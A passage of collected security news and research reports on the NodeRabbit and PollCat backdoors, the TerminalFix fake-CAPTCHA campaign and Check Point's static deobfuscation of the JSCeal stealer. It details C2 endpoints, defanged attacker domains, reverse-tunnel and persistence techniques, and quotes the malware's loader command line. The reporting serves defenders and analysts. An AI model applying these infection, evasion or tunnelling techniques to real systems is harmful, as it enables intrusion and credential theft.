"wslwebui.azurewebsites[.]net") through three distinct API endpoints - /api/rabbit/checkin, to register agent and host information /api/rabbit/task, to poll for commands /api/rabbit/result, to send task results The malware supports 11 commands that allows it to gather host details, list running processes, execute arbitrary shell commands, enumerate directories, read a file in chunks and return Base64-encoded data, decode Base64-encoded text and write it at a chosen file offset, delete a file or recursively delete a directory, create directories recursively, enumerate adapters, MAC addresses, IP addresses, and DNS settings, and alter beacon interval. Another notable capability of NodeRabbit is to write a Base64-encoded Node.js script to a randomly named ".tmp" file, execute it, and then delete it to cover up traces of malicious activity. Kaspersky said it identified two more variants of NodeRabbit that share the same code lineage, each recovered from Egypt and Ethiopia - A second variant that uses a different trojanized npm package named pretty-log (version 2.1.0) instead of colorized_terminal, while also partially implementing corporate proxy support and terminating if found to be running in an analysis environment A third variant that's also launched using the pretty-log npm package but uses a different set of API endpoints to accomplish the same tasks - - /sdk/v2/ready - /sdk/v2/config - /sdk/v2/events Persistence is achieved depending on the operating system: a Windows Run registry key on Windows, a cron entry for Linux, and a launch agent on macOS. The persistence mechanism mimics either a Microsoft Edge browser update (first variant) or Intel's Driver & Support Assistant (second variant). The third variant, on the other hand, does not impersonate any legitimate software, but also takes into account the Windows Subsystem for Linux (WSL) to create a daily 10 a.m. Windows task that launches a Visual Basic Script file through "wscript.exe" and "wsl.exe." In addition, it features 12 new commands to - Enumerate accessible Windows drive letters or WSL-mounted drives Execute a process Kill process by PID or image name Replace the active C2 server and attempt to keep the new configuration Return the current C2 server Harvest account addresses from Outlook OST and PST artifacts Attempt to install a fake VS Code extension named "GitHub Copilot Helper" and Windows Run value for added persistence Check selected VS Code, scheduled-task, and Run-key persistence indicators Remove the fake extension Search recent and common development locations for Git repositories Inject a launcher into a repository's Git hooks for added persistence Remove the marked Git-hook launcher Nimbus Manticore has also been observed using programming challenge lures ("RankChallenge-react-6uJSX3-main.zip") distributed via time-limited developer assessments to deliver PollCat. "Although the visible exercise is not a security CTF, the project uses CTF terminology in several places," Kaspersky said. "The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf." "These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components." A PDF tutorial present within the archive prompts the target to click "Continue" and enter an attacker-supplied six-digit one-time password (OTP) that's refreshed every 30 seconds, and complete the challenge within a one-hour session. The compressed timeline to activate the assessment is likely an attempt to create a false sense of urgency and make them run the project as soon as possible to increase the likelihood of an infection. Despite the one-hour session window, PollCat runs independently of the OTP authentication process, unaffected by the success or failure of the OTP validation step. A failed validation prevents the victim from accessing the protected challenge features, while a successful OTP validation issues a JWT and starts an additional PollCat instance. For persistence, the malware creates a daily scheduled task on Windows, Linux, or macOS, and then connects to a C2 server to send basic host information and await further instructions. It supports 22 commands and communicates via seven API endpoints - /beacon, to register the client and obtain a socketId /gate/hello, to send host, user, domain, operating system information, and its current privilege level /gate/fetch?token= , to poll for commands /gate/submit, to submit a Base64-encoded command-result structure /vault/ , to fetch a hosted file and write it to the victim machine /vault/push, to upload a local file or file chunk to the C2 /gate/track, to report chunk-upload progress The commands span the typical backdoor gamut, enabling the operator to perform file operations, execute shell commands, upload/download files, run JavaScript, load DLLs, create or extract a ZIP archive, and enumerate running processes, drives, volumes, or mount points. Three commands, namely WS_DOWNLOAD, REQUEST_ELEVATION, and PERSIST, are currently not implemented. PollCat also searches for folders matching 24 hard-coded strings corresponding to software and security vendors, including Google, Microsoft, Palo Alto Networks, Cisco, VMware, Fortinet, Citrix, Check Point, Juniper Networks, LogMeIn, Sophos, Symantec, Trend Micro, McAfee, Kaspersky Lab, ESET, Bitdefender, Avast, CrowdStrike, SentinelOne, Malwarebytes, Brave, Tencent, and Naver. When a matching folder is found, the malware inventories the folder's root contents but does not recursively scan the product's directory. The results are then transmitted in the form of JSON to the "/api/system-details/result" endpoint. The activity's links to Nimbus Manticore stem from the structural, command fetching, beacon timing, and command set similarities between PollCat and MiniFast (aka MiniUpdate or Retrograde), a backdoor previously attributed to the group, as well as the use of Azure Websites and Cloudflare‑backed domains for C2. "The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations," Kaspersky said. "The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyber espionage purposes."
thehackernews.comSep 1, 2026extracted
TerminalFix looks like ClickFix, but delivers a very different payload
Microsoft has published details about a Windows malware campaign it calls TerminalFix. The social engineering used to infect people is very similar to what we’ve seen in ClickFix campaigns. A website visitor is presented with a fake Cloudflare CAPTCHA which, when clicked, secretly copies a malicious command to their clipboard. Then they receive instructions on what they need to do to “prove they are human,” when in reality they are being instructed to execute the malicious command. After gaining a foothold, the malware downloads what appear to be ordinary PNG images from attacker-controlled sites, but the images also contain concealed payload data. A PowerShell script reads the images’ pixel data: The first eight bytes specify the embedded file’s length, while the remaining data is reconstructed into an executable and two DLL fragments, which are joined on the victim’s disk. The use of steganography is notable, but does not set TerminalFix apart from other ClickFix campaigns that have used the same method. What does make TerminalFix different is its payload. One way or another , ClickFix victims usually end up with information-stealing malware of some sort. TerminalFix instead chains together several mature evasion techniques, including DLL sideloading, steganographic delivery, folder hiding, realistic browser User-Agent rotation, and encrypted WebSocket traffic, rather than relying on one obfuscated PowerShell downloader. Its end goal is also different. The campaign delivers a payload chain that performs domain-aware reconnaissance before installing a custom, multiplexed reverse TCP tunnel. This hidden connection can give attackers access to the victim’s network. The infected computer first calls out to the attackers using encrypted web-like traffic over port 443, allowing the “reverse” connection to pass more easily through a company firewall. In this way, the compromised system creates a secret remote-access doorway from inside the network. “Multiplexed” means the attackers can send several separate connections, for example to a file server, database, or another workstation, through that single encrypted tunnel at the same time. This allows them to use the victim’s computer as a stepping stone into the rest of the network. How to stay safe First, remember that a real CAPTCHA may ask you to click boxes or select images, but it will not ask you to open Run, Terminal, Command Prompt, or PowerShell and paste a command. Slow down.  Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers rely on urgency to discourage careful thought, so be cautious of pages urging immediate action. Sophisticated ClickFix pages may add countdowns, user counters, or other pressure tactics to make you act quickly. Avoid running commands or scripts from untrusted sources.  Never run code or commands copied from websites, emails, or messages unless you trust the source and understand exactly what the command will do. Verify instructions independently.  If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding. Limit the use of copy and paste for commands.  Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text. Secure your devices.  Use an up-to-date, real-time  anti-malware solution  with a web protection component. Learn to recognize evolving attack techniques.  Knowing that attackers continually change their methods can help you recognize suspicious instructions. Keep reading our blog! Pro tip:  Did you know that the free  Malwarebytes Browser Guard  extension warns you when a website tries to copy something to your clipboard? Some browsers also restrict or warn about certain uses of the clipboard. Since macOS Tahoe 26.4 , Terminal can warn users when they paste text copied from a browser or messaging app. This protection operates at the app and operating-system level rather than inside the browser. Stop threats before they can do any harm. Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →
malwarebytes.comSep 1, 2026extracted
Microsoft warns of TerminalFix attacks deploying reverse tunnels
A new ClickFix variant dubbed TerminalFix uses fake Cloudflare CAPTCHA prompts on compromised websites to trick victims into executing malicious PowerShell commands in Windows Terminal. Unlike typical ClickFix attacks that often lead to infostealer malware infections, this campaign uses a multi-stage intrusion chain that ultimately gives attackers a reverse tunnel into the victim’s internal network. TerminalFix differs from normal ClickFix attacks in that it directs users to Windows Terminal or PowerShell, which enables successful execution of more complex, multi-line scripts. Microsoft discovered the attacks in the wild but did not observe hands-on activity. However, the researchers warn that access obtained this way could be leveraged for lateral movement, privilege escalation, credential theft, disabling security tools, data exfiltration, or deploying ransomware. The infection begins with a fake CAPTCHA prompt that instructs victims to execute a PowerShell command preloaded into the clipboard as part of the purported verification process. The command downloads a ZIP archive that contains a legitimate signed executable and a malicious DLL file, which decodes and launches an obfuscated payload directly in memory. For the second stage, the threat actor used steganography to hide executables and DLL fragments in the pixel data of three PNG images. The script downloads the image files from the command-and-control (C2) server and reassembles the embedded payloads on the disk. The malware establishes persistence through a scheduled task and a Registry Run key, configured to execute every hour. While active, it performs reconnaissance by probing for domain controllers, databases, backup servers, gateways, and mail systems; collecting system information; and enumerating Active Directory (AD). The most important component is a custom Python reverse-tunnel module that connects to an outbound address (gitnow[.]dev:443 ) over an encrypted WebSocket, supporting SOCKS5-style arbitrary TCP proxying. This allows the attacker to instruct the compromised machine to connect to internal IPs, hostnames, and ports reachable from the victim. The reverse-tunnel also supports multiplexing multiple connections over one WebSocket, rotating realistic browser User-Agent strings, keepalive, and remote shutdown. Microsoft says this can turn the infected endpoint into a network pivot, giving the operator a route to systems discovered during the earlier AD and network reconnaissance operation. The researchers recommend restricting and logging PowerShell execution, monitoring ‘LockScreenContentServer.exe’ outside its normal path, and hardening browsers and endpoint protections. If compromise is confirmed, it is advisable to investigate for lateral movement and to rotate credentials, including domain admin credentials, if accessible from the infected host. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 31, 2026extracted
Attack hides malware in PNGs and drops custom reverse tunnel on victims' machines
security Attack hides malware in PNGs and drops custom reverse tunnel on victims' machines Next-level ClickFix wave sets off multi-stage attack chain An unknown miscreant is using "TerminalFix" to trick unsuspecting users into running PowerShell commands that infect their computers with a reverse tunnel granting attackers access to their networks. Some of the malware is even hidden inside PNG graphics the PC downloads. TerminalFix is the latest variant of the wildly popular ClickFix initial access method for attackers. This type of social engineering technique tricks users into running malicious commands by promoting them with a phony fix or CAPTCHA verification. While traditional ClickFix attacks point victims to the Windows Run dialog, TerminalFix directs users to Windows Terminal or PowerShell, which increases the likelihood that they will unknowingly run multi-line scripts on their own computers, Redmond says. Plus, instead of delivering just one infostealer, this campaign kicks off a multi-stage attack chain that combines DLL sideloading, steganographic payload extraction, and Active Directory reconnaissance. It ultimately deploys a custom reverse tunnel on the infected machine that gives the attacker persistent, network-level proxy access through the compromised device. Microsoft declined to answer The Register’s questions, including how many organizations were targeted and victimized in this TerminalFix campaign, and which attacker or criminal crew is responsible for these attacks. The attack chain begins when the victim interacts with a phony overlay that spoofs the Cloudflare CAPTCHA “verify you are human” checkbox and includes a Cloudflare logo, causing a fake verification command to be copied to the clipboard before the victim pastes it into Windows Terminal or PowerShell. This command runs a hidden PowerShell script that prints a fake “Starting Cloudflare verification…” message and downloads a ZIP archive from an attacker-controlled server. It extracts the archive under C:\ProgramData and launches a batch file (1.bat) that silently executes LockScreenContentServer.exe. LockScreenContentServer.exe is a legitimate, signed Windows executable - and it acts as the DLL sideloading host for a second file: dui70.dll. This purports to be a “Windows DirectUI Engine,” but is actually the malicious payload, which executes a second-stage PowerShell script once it’s sideloaded. The second PowerShell script downloads additional payloads hidden inside PNG images - this is called steganography, and it makes file- and content-type inspection more difficult, and thus easier to hide malicious payloads. In an attempt to further obfuscate the payload and avoid being detected, the attacker split the payload into multiple PNGs. The PowerShell script downloads the three images, extracts an executable from the first image and two halves of the DLL from the second and third images, and then reassembles the components on disk. “After extraction, the source images are deleted to reduce forensic artifacts,” Microsoft researchers Sagar Patil, Suriyaraj Natarajan, and Parasharan Raghavan wrote. The malware establishes redundant persistence through both HKCU\…\Run registry keys and scheduled tasks that re-execute LockScreenContentServer.exe every 60 minutes to ensure it survives reboots. It then does reconnaissance on the compromised machine, scooping up system information across multiple language configurations including English, Spanish, and German. It also performs domain trust discovery, domain admin enumeration, and Active Directory user and computer searches, while pinging targeted, named servers. “The observed names correspond to common infrastructure roles, including domain controllers, databases, backup, gateways, and mail systems,” according to the threat hunters. “This probing could help an attacker identify accessible target systems for follow-on activity.” Next, the malware drops a persistent PowerShell file-watch loop that monitors a text file for new commands, executes them via Invoke-Expression, and writes results to an output file. This allows the attacker to execute additional PowerShell commands by writing them to the text file. And finally, the attacker deploys a custom, Python-based reverse-tunnel implant. The tunnel launches with no visible window via pythonw.exe, and it sets up a reverse WebSocket tunnel to gitnow[.]dev:443. This implant, combined with earlier reconnaissance data, gives the attacker SOCKS-style TCP proxy access through the victim’s network. Microsoft recommends organizations take several steps to avoid becoming a victim of this campaign. These include restricting PowerShell and Run dialog execution, and either blocking or auditing the Windows Run dialog (Win+R) if it’s not needed for daily work. Also, train employees on how to look for ClickFix tactics, like fake CAPTCHA verification pages that tell them to paste commands into Terminal or the Run dialog. ®
theregister.comAug 31, 2026extracted
Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode
Research by:   hasherezade Key Points Since early 2025, Check Point Research has been tracking JSCeal, a sophisticated cryptocurrency-focused stealer with broader credential-theft, surveillance, and traffic-interception capabilities, delivered as compiled V8 bytecode (JSC files). The payloads are protected with  javascript-obfuscator , using multiple techniques including RC4-protected strings, control-flow flattening, proxy functions, and operation wrappers. Our goal was to recover the code to a level that enables detailed analysis, comparison between samples, and tracking of the malware’s evolution. CPR developed a fully static deobfuscation pipeline that transforms View8 pseudocode without executing the malware. An optional LLM-assisted renaming stage can then be used to make large, recovered codebases easier to navigate. The complete toolkit is publicly available at  jsc_deobfuscator . The deobfuscated output enabled detailed analysis of JSCeal’s capabilities and their implementation, including keylogging, browser and credential theft, and HTTPS traffic interception through a local MITM proxy. We  presented this research at Black Hat USA 2026 . This article complements the talk by documenting the methodology in greater technical depth and providing additional examples and implementation details. We conclude with a brief look at more recent JSCeal developments, including V8 code caches generated for a newer Node.js/V8 version, an additional payload-encryption layer, and macOS targeting. Introduction JSCeal is a stealer delivered as compiled V8 bytecode ( .jsc ) and executed by a bundled Node.js runtime, targeting cryptocurrency applications (other vendors also tag it with the names WEEVILPROXY or MeadowLocust). Its campaign activity dates back to March 2024 [ 1 ]; Check Point Research has been tracking the malware since early 2025. Our previous publication from July 2025 [ 1 ] focused on the campaigns, delivery chain, and targeting. In this article, we focus on the analysis problem hidden inside the final payload. Unlike ordinary JavaScript malware, JSCeal reaches the analyst after two transformations have already removed much of the information that source-oriented tools depend on. First, the JavaScript is heavily obfuscated. Then it is compiled into V8’s internal bytecode representation and shipped as cached data rather than source code. The resulting format is version-specific, poorly served by mature reverse-engineering tooling, and unsuitable for most standard JavaScript deobfuscation workflows. From the attacker’s perspective, this combination is attractive because it is inexpensive to produce. Node.js and its package ecosystem provide ready-made building blocks for complex applications, while public tools such as  javascript-obfuscator  [ 6 ] can add several layers of source-level obfuscation before compilation. The analyst receives only the compiled artifact. In 2024, our colleague Moshe Marelus published  View8 , an open-source decompiler for V8 bytecode [ 2 ]. We used it as the foundation for a static deobfuscation pipeline tailored to the patterns found in JSCeal. During this work, we extended View8 [ 3 ] to make its output reproducible and suitable for automated post-processing, and implemented dedicated passes for value propagation, string reconstruction, control-flow unflattening, proxy and operation-wrapper resolution, and additional cleanup. The goal is not perfect source recovery — V8 compilation is lossy, and the output of decompilation remains pseudocode. Instead, we aimed to recover enough structure and semantics to read the malware as code again: follow its logic, compare samples, locate capability branches, and validate behavior against concrete strings, APIs, paths, and data flow. Later in the article, we use one selected JSCeal payload as a case study and walk through portions of the recovered code, including browser and cryptocurrency theft, keylogging, screenshot capture, and a local HTTPS interception proxy. Distributed payloads Let’s start by understanding the role of the JSC files in the whole attack chain. The payloads were delivered in campaigns that began with malvertising and were followed by multiple PowerShell scripts. The complete flow is illustrated below: Figure 1 – The final stage infection flow (image first presented in [ 1 ]) The last stage consists of two ZIP archives downloaded by PowerShell: node.zip  – a packaged Node.js runtime build.zip , containing the final payload and supporting components: winpty-agent.exe  – an agent for a hidden Windows console ( open source ) winpty.dll  – a module that allows interaction with the hidden console ( open source ) app.jsc  – The JSCeal malware payload preflight.js  – a decompression script Native  .node  modules (PE format) used by the payload The final JSC payload is distributed in Brotli-compressed [ 5 ] form and decompressed by  preflight.js . The loading is triggered by the last PowerShell script in the chain, containing the command line: .\node.exe -r .\preflight.js .\app.jsc  (the option  -r  forces Node to run a JS file  before  loading the main module). The size and complexity of the JSC payloads varied. They were all obfuscated with the same open-source obfuscator [ 6 ]. Analysis methodology While typical analysis procedures were sufficient for the earlier stages, the final JSC payload remained challenging. Because it was delivered as a V8 code cache rather than JavaScript source, conventional source-level JavaScript instrumentation was not directly applicable. Native-level hooking and dynamic binary instrumentation (DBI) could reveal process and API activity, but did not recover the payload’s JavaScript-level semantics at a useful level. Sandbox execution therefore provided mainly low-level system-interaction telemetry. To understand the payload’s logic, we turned to static analysis, which required deobfuscation. Since the JSC payload is Brotli-compressed, the first step is to remove this layer. This yields the V8 code cache, which can then be supplied to a compatible disassembler. The disassembled output is then passed to the View8-based pipeline, which includes decompilation and transformation by multiple deobfuscation passes. Each pass can be used as a self-contained script. To support modularity, we extended View8 with  pickle serialization  of its internal object graph. We also added function-level visibility controls and metadata annotations (details in  Appendix A ). Figure 2 – the pipeline demonstrating steps applied to the original JSC sample Our toolkit is publicly available at https://github.com/hasherezade/jsc_deobfuscator [ 7 ] The following flowchart describes the major steps of the pipeline; details of each follow in subsequent sections. Figure 3 – the flowchart of the deobfuscation pipeline We applied the pipeline to 23 JSCeal payloads collected over several months ( Appendix B ); it produced analyzable output in all cases. Environment Setup The toolkit used for the main body of this research was developed on Linux. The JSCeal generation analyzed in depth in this research used a bundled Node.js runtime based on V8  10.2.154.26-node.25 . The distributed  app.jsc  was Brotli-compressed; after decompression, the resulting file was a V8 code cache that could be supplied to a compatible disassembler. V8 cached data is version-sensitive, so before decompilation we first need to obtain a correct bytecode listing. We followed the general approach used by the View8 fork from j4k0xb [ 4 ]: build the corresponding V8 version, apply the required patches, and use a small program based directly on the V8 API to consume the cache. During this process, we encountered a bug in the original V8 code that caused a string-printing problem and corrupted some disassemblies containing wide characters. It passed a 16-bit code unit through byte-oriented printable-character handling, which could inject malformed output into string literals and break View8 downstream. We patched the printer so that printable ASCII remains literal, byte-sized non-printable values use  \xNN , and wider values are emitted as  \uNNNN . The patch is included in the public repository [ 9 ], and the complete build procedure is documented on the project Wiki [ 10 ]. The released toolkit contains both the disassembler source and the V8 patches required for the supported generation. A prebuilt Linux disassembler is also distributed with the project [ 7 ]  release . Decompiled output Once we have the correct disassembly, we can proceed with decompilation. However, there are some details to keep in mind. View8 does not reconstruct the original JavaScript source. It lifts V8 bytecode into pseudocode that reflects its underlying execution model. Recovered functions are represented in a form such as: function func_[name]_0xdisassembly_address The entry point is a function labeled  start , for example:  func_start_0x323d9daddcd9 . In ordinary View8 output, the hexadecimal suffix is derived from address values emitted during disassembly. Because these values may differ between runs, our modified View8 can normalize function identifiers deterministically based on parse order. This makes the results reproducible (details:  Appendix A ). The pseudocode follows the underlying V8 concepts rather than ordinary JavaScript local-variable names. Each function can make use of its arguments, the accumulator, and a set of local virtual registers. It also has access to its own constant pool, global variables, and context storage exposed through  Scope . Function arguments are represented as  a0  to  aN , while local virtual registers are printed as  r0  to  rN .  ACCU  denotes the current V8 accumulator value. Functions can declare nested functions and share values with them through their surrounding context. In View8, these relationships are visible through the declarer hierarchy and  Scope[...]  references. Values placed into a scope by a declarer function may later be consumed by nested functions. Reconstructing those relationships is essential for JSCeal because the obfuscator frequently moves constants, decoder offsets, proxy references, and dictionary objects through scope rather than keeping them local. As the root of the function hierarchy, the  start  function is the only function without a declarer. The start function also initializes the global bindings used throughout the program. In raw View8 output this is visible through  DeclareGlobals , for example: ACCU = DeclareGlobals(["oQ", "kg", "xQ", func_yz_0x323d9daeb509, 893, [...] ]) For readability, our modified View8 marks global identifiers explicitly with a  global_  prefix. The prefix prevents collisions with local register notation and makes later propagation easier to follow. Since the original JavaScript was obfuscated before compilation, the View8 output contains artifacts introduced by the obfuscator, making the recovered pseudocode considerably harder to interpret. A detailed explanation of each obfuscation layer and the applied countermeasures is provided later in this article. For example, a single function from a JSCeal payload decompiled by View8 looks like this: function func_unknown_0x398fa079bb71(a0) { r2 = Scope[19][74][func_Ht_0x398fa0799da9(136760, "ZCe3")] r2 = r2(a0) r3 = func_Ht_0x398fa0799da9(57973, "Vbp&") r3 = (r3 + func_Ht_0x398fa0799da9(194117, "Af5z")) r3 = (r3 + func_Ht_0x398fa0799da9(86681, "XDjZ")) r1 = r2[(r3 + func_Ht_0x398fa0799da9(100990, "5Yvr"))] r1 = r1() r2 = func_Ht_0x398fa0799da9(75831, "b6Sj") r0 = r1[(r2 + func_Ht_0x398fa0799da9(49188, "Amc*"))] return r0() } This is already significant progress compared with the raw bytecode, but the remaining obfuscation still makes most of the output effectively unreadable. The rest of the pipeline progressively removes those layers and transforms the output into pseudocode suitable for practical analysis. One syntax detail is worth keeping in mind throughout the article: View8 uses its own pseudocode notation and should not be interpreted as literal JavaScript. For example, an expression such as  !r6 === "0"  represents the negation of the entire comparison — semantically:  r6 !== "0" . Obfuscation layers The analyzed JSCeal payloads were protected with  javascript-obfuscator  [ 6 ]. Its configuration is highly customizable, and the exact combination varied between samples. Across the corpus, we repeatedly observed four groups of transformations: Renamed identifiers.  Function and variable names are replaced with short or nonsensical identifiers. String protection.  Important strings are split into chunks and reconstructed through decoder functions. In the dominant variant observed in JSCeal, the stored chunks are encoded and RC4-protected. Control-flow flattening.  Selected functions are transformed into state machines whose intended block order is hidden behind a dispatcher. Proxy and operation indirection.  Function calls are forwarded through proxy helpers, while simple operations such as addition, subtraction, comparison, or function invocation are wrapped in dedicated helper functions. The deobfuscation pipeline has to follow a specific order because the result of one pass can expose information required by the next. For example, string deobfuscation reveals not only the text used in the code, but also keys for dictionaries containing variables and function references. Propagating values Before we can start peeling away the obfuscation layers, we need to set the stage by propagating the variables used in the code and performing all the necessary simplifications. Often, functions that we have to parse and resolve are not called directly, but through different variables: globals, scopes, or local registers. A similar problem applies to their arguments. Until we have everything filled and mapped, it won’t be possible to really understand the flow. Propagating values is non-trivial: it is done in multiple ways, at different layers of the obfuscation process. Demonstrating the full variety used would take too much space, so let’s focus on a few examples. We illustrate with string decryption functions here, but the same propagation logic applies to proxy resolution and operation inlining described later. Details on the actual string deobfuscation are given in the next section, “Reconstructing strings”. Below is a tiny function used to deobfuscate a chunk of a string. The input argument ( a1 ) is modified by a value passed via Scope. function func_r_0x24543eceeb91(a0, a1) { r1 = (a1 - Scope[10083][2]["c"]) return func_mt_0x3120801469(r1, a0) } Without knowing the actual value, we won’t be able to do the calculation required for deobfuscation. The scope is filled by a function higher in the declaration hierarchy. Once we find the particular line, we are ready to fill it. function func_yZ_0x24543ecedfc9(a0) { [...] Scope[10083][2] = new {"c": 742} [...] After the substitution, we get: function func_r_0x24543eceeb91(a0, a1) { r1 = (a1 - 742) return func_mt_0x3120801469(r1, a0) } In this form, the function is ready to be parsed, and we can see that the value  742  is subtracted from the input argument. Another problem is that in many parts of the code, calls to interesting functions have their arguments passed via local variables. While parsing a line, it is not immediately clear what arguments are being passed. In the given example, the function deobfuscating a string chunk,  func_r_0x24543eceeb91 , is called with two arguments that are passed via dictionaries. We first collect those dictionaries, and then substitute their uses with corresponding values. Before: r0 = new {"c": "SwH7", "n": 84197, "x": "PEKM", "Y": 104422, ...} [...] r7 = func_r_0x24543eceeb91(r0["c"], r0["n"]) r7 = (r7 + func_r_0x24543eceeb91(r0["x"], r0["Y"])) After: r7 = func_r_0x24543eceeb91("SwH7", 84197) r7 = (r7 + func_r_0x24543eceeb91("PEKM", 104422)) Once those preparations are completed, we are ready to parse the functions and resolve their outputs. Reconstructing strings String reconstruction is the first major deobfuscation stage. Strings are valuable artifacts on their own: they expose API names, paths, commands, URLs, object fields, and targeted services. More importantly for this pipeline, they also unlock later transformations. Recovered strings become dictionary keys, property names, and control-flow order sequences used by the unflattening and proxy-resolution passes. The analyzed samples used two string-obfuscation variants provided by  javascript-obfuscator  [ 6 ]. We implemented [ 7 ] a separate pass for each. The simpler variant, addressed by  deobf_str1.py , stores string fragments in an array and retrieves them through an index transformation. It appeared only in an older sample. The dominant variant, addressed by  deobf_str2.py , adds several more layers: encoded string chunks, RC4 encryption, a large family of decoder wrappers, and arithmetic transformations of the chunk index. This is the variant described below. Details on deobfuscation modes used by each payload are listed in  Appendix C . The string obfuscation rabbit-hole Let’s take a closer look at how the most common JSCeal string obfuscation is implemented. This is the mode addressed by  deobf_str2.py . Just like in the simplest mode, each string is split into chunks. Then, each chunk is RC4 encrypted with a different key. The resulting content is Base64-encoded. Such obfuscated chunks are accumulated in a single array, stored inside one of the functions, and retrieved from there into a global scope. It is initialized in the start function. An example of how the function holding the array of chunks may look is given below (keep in mind that the array may contain thousands of elements): function func_KV_0x18c3e8c9a1c1() { r0 = Scope[0] Scope[10824][2] = new ["s8ohWR3dRx8", "ffddSSo6sW", ... ] } When the program needs a string, it calls one of many decoder functions. A typical call contains a numeric value and a short RC4 key: r2 = func_xt_0x274f42c4e909(71692, "%]hf") The argument order is varied: some decoder functions receive  (number, key) , while others receive  (key, number) . The number is used to calculate the index of the chunk to be decrypted, relative to the aforementioned global list. The calculation is done inside the function. To make things more complex, deobfuscation is done not just by one function, but by many similar instances. The instances may call one another, each one of them adding or subtracting a different value to the input argument. In order to calculate the actual chunk index, we have to follow the whole chain of functions, parse them, and repeat the operations they performed. At the end of the chain there is always a strongly obfuscated parent function that contributes the final operation. The values used in calculations are not hard-coded in the function but passed via scope (details described in “Propagating values”). Example of a single deobfuscating function: function func_r_0x7b2a9768611(a0, a1) { r1 = (a1 - Scope[1][2]["V"]) return func_xt_0x274f42c4e909(r1, a0) } In the above case, the index was passed via argument  a1 . The value retrieved from the scope is first subtracted from it. The result, along with the argument  a0  representing the RC4 key, is passed to the next deobfuscation function ( func_xt_0x274f42c4e909 ) which performs similar operations. The chain of similar calls follows multiple layers until it reaches the parent function which adds or subtracts the final value from the index, retrieves the chunk from the global array, and performs the decryption operation. Recovering the root offset As mentioned earlier, at the top of the chain of different deobfuscating functions that call one another, there is always an obfuscated parent. Instead of deobfuscating it, we decided to treat it as a black box. Recovering its index shift involves several steps. The parent functions are the first string decoding functions to be declared, and in the start function, they may be called directly. Just like in the case of their children, two arguments are expected: the RC4 key, and the number used for index calculation. Once we have found the parent, we track its direct calls and collect the arguments. We know that the chunk index is obtained by an arithmetic operation (addition or subtraction) on the passed number. We can express it as: index = arg (+|-) X The goal is to find the correct X (index shift). Since this value is used to calculate the index of the chunk, the upper bound is the number of chunks in the array (N). We test candidate shifts from  0  to  N-1 , apply each to the input index, and attempt to decrypt the resulting chunk. If the output looks like a valid string, we treat that X as the index shift candidate. Conceptually: for candidate_shift in 0 .. N-1: candidate_chunk = array[(input_index + candidate_shift) mod N] plaintext = RC4(candidate_chunk, key) if plaintext looks plausible: keep candidate_shift A plausible result from a single call is not enough: an invalid chunk can occasionally produce printable text when decrypted with the given key. The implementation therefore requires  at least three distinct input/output observations for the same decoder function.  It computes the candidate shifts per set, intersects those sets, and accepts the value only when it produces a printable result for each. In all the analyzed payloads this condition was sufficient to find the appropriate index shift. This can be viewed as a bounded brute-force search. The implementation tests possible index shifts within the string-array length and uses multiple independent calls to eliminate candidates that do not produce consistent printable results. Once the root configuration is known, the pass propagates the index shift through the collected function graph to the callers, calculating the cumulative index delta applied by each individual decoder. Overview of the string deobfuscating pass The string deobfuscation pass requires all arguments to be filled, as described in “Propagating values”. It works in the following steps: Retrieves the start function Searches for the function aggregating obfuscated string chunks. It is always referenced by the start function and can be spotted by a known pattern of the call. Example: ACCU = func_unknown_0x93e23cef019(func_KV_0x18c3e8c9a1c1, 940600) Follows and parses the function with chunks (in the above case:  func_KV_0x18c3e8c9a1c1 ). Stores the list for further use. Searches all the string decoding functions, recovers the parent index shifts, and calculates the resulting index shift for each decoder function. The input arguments can be arranged in two ways: either  Rc4Key, Offset  or  Offset, Rc4Key  – this is recognized and added to the function prototype. r2 = (r2 + func_xt_0x274f42c4e909(99288, "h^gm")) //Offset, Rc4Key After the first run, the deobfuscator stores parsed and calculated arguments in a CSV file. If the pass has to be re-run, the list is pre-loaded, which saves time. Example of the listing (format:  function_name,index_shift,is_index_first ): func_xt_0x274f42c4e909,125103,True func_Et_0x1d8d5672d829,125093,False func_u_0x3fa27d771f29,125016,True func_r_0x93e23cf1d91,125126,True func_n_0x93e23cf22a1,126086,True ... After all the deobfuscating functions have been resolved, each of their resolved occurrences is replaced with its output value. The deobfuscated chunks are then chained together to form the full string. - r5 = func_n_0x34d57d25f3b9(60787, "Bz&S") //"defau" r4 = xF[(r5 + "lt")] r4 = global_xF["default"] r5 = func_n_0x34d57d25f3b9(58819, "5C8Q") // "globa" r5 = (r5 + func_n_0x34d57d25f3b9(17159, "SldQ")) //"lAgen" return r4[(r5 + "t")] return r4["globalAgent"] After the deobfuscation is completed, the functions responsible for string decoding are no longer needed. Their representation is hidden in the code and not printed in the decompilation output. Scale and performance For the 23-sample dataset used in the final measurements [ 8 ], the string layer contained approximately: 130,000 encoded chunks on average , with observed values from about 19,000 to 217,000; 10,000 decoder configurations on average , with observed values from about 2,200 to 13,000. Measured runtime for the string stage was: modeminimummedianmaximumwithout cache0.6 min1.7 min4.6 minwith cache0.5 min1.2 min3.0 min After string reconstruction, the output contains both substituted plaintext and a standalone string listing. This is often the first point at which the payload starts exposing concrete artifacts such as commands, registry paths, browser targets, cryptocurrency platforms, and the attacker’s embedded public key. Artifact overview In addition to the main output of the pass (which is the decompiled and pickled file), the list of all the strings is dumped as text. It helps quickly give an idea of which functionalities are implemented, and to compare different payloads. Example   –   listing of strings extracted from a sample:  e27ae65977287bdfb7b0e15fd3603f85.deobf.txt.strings.txt Among the interesting artifacts, we can find the public key of the attackers: "\n-----BEGIN PUBLIC 